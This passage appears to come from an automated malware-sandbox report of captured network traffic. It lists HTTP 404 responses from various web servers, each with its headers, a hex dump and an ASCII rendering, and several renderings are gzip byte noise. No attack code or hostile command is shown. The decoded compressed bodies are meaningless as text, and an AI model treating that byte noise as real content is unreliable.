2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 72 6f 78 69 6d 61 20 4e 6f 76 61 27 3b 0a 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" cont
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cacheContent-Type: text/htmlX-Server: WEB25Date: Wed, 20 Dec 2023 02:13:26 GMTContent-Length: 103Vary: Accept-EncodingData Raw: 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 68 61 73 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e Data Ascii: The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:26 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:26 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-40.ec2.internalX-Request-Id: 8744ffb0-1256-496c-91bf-f4ba79856b04Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlserver: Microsoft-IIS/7.5x-powered-by: PHP/5.3.5x-powered-by: ASP.NETdate: Wed, 20 Dec 2023 02:13:26 GMTcontent-length: 1635Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 57 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 50 6c 65 61 73 65 20 74 72 79 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 4d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 64 72 65 73 73 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 61 64 64 72 65 73 73 20 62 61 72 20 6f 66 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 69 73 20 73 70 65 6c 6c 65 64 20 61 6e 64 20 66 6f 72 6d 61 74 74 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 49 66 20 79 6f 75 20 72 65 61 63 68 65 64 20 74 68 69 73 20 70 61 67 65 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 61 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 63 74 0d 0a 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 74 6f 20 61 6c 65 72 74 20 74 68 65 6d 20 74 68 61 74 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 69 6e 63 6f 72 72 65 63 74 6c 79 20 66 6f 72 6d 61 74 74 65 64 2e 0d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:27 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: fULBjf8I/FY0D7PmyData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-40.ec2.internalX-Request-Id: 131889c8-1cad-493f-a08c-e46035b5eebbData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:27 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: wN1PrfsQ/xd8EDMp5Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TcO3NQIZbpM%2Bs3eEESYmrvIjIVci7nHq%2FNIyh12iVuZsXkn9QhvbVA9WHafekA%2FRZ7%2BRc7I5chPXx%2FmI79tECyqp9j6yJYtmJGQ3%2FH9w5I%2B9O7wwjKFjk5z9U%2Bt6T0SNc08FLg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845dbbcc2d2227-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 65 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 4e c3 30 10 44 ef fe 8a a5 27 38 e0 4d 4b 90 38 ac 2c 41 93 8a 4a a1 44 c5 3d 70 74 e3 45 8e 94 c6 c1 76 0a fc 3d 4a 2a 24 ae 33 6f 46 33 74 55 bc ae f5 7b 5d c2 b3 7e a9 a0 3e 3c 55 db 35 2c 6e 11 b7 a5 de 20 16 ba b8 38 2b 99 21 96 bb 85 12 e4 d2 a9 53 e4 d8 58 25 28 b5 a9 63 95 67 39 ec 7c 82 8d 1f 7b 4b 78 11 05 e1 0c d1 d1 db 9f 29 b7 54 ff 18 b7 54 82 06 a5 1d 43 e0 cf 91 63 62 0b 87 7d 05 5f 26 42 ef 13 7c 4c 1c f8 1e 92 6b 23 44 0e 67 0e 92 70 98 9a 82 12 64 ac 0d 1c a3 7a 1c 4c e3 18 57 32 97 f7 77 70 5d f0 b1 35 fd 0d bc cd 01 30 09 b8 4f fc dd 74 63 6c cf 1c 65 e3 4f 50 fb 90 e0 21 23 fc eb 10 84 f3 48 c2 f9 dc 2f 00 00 00 ff ff 0d 0a Data Ascii: e5LN0D'8MK8,AJD=ptEv=J*$3oF3tU{]~><U5,n 8+!SX%(cg9\|{Kx)TTCcb}_&B\|Lk#DgpdzLW2wp]50OtcleOP!#H/
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 38 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 3e 7
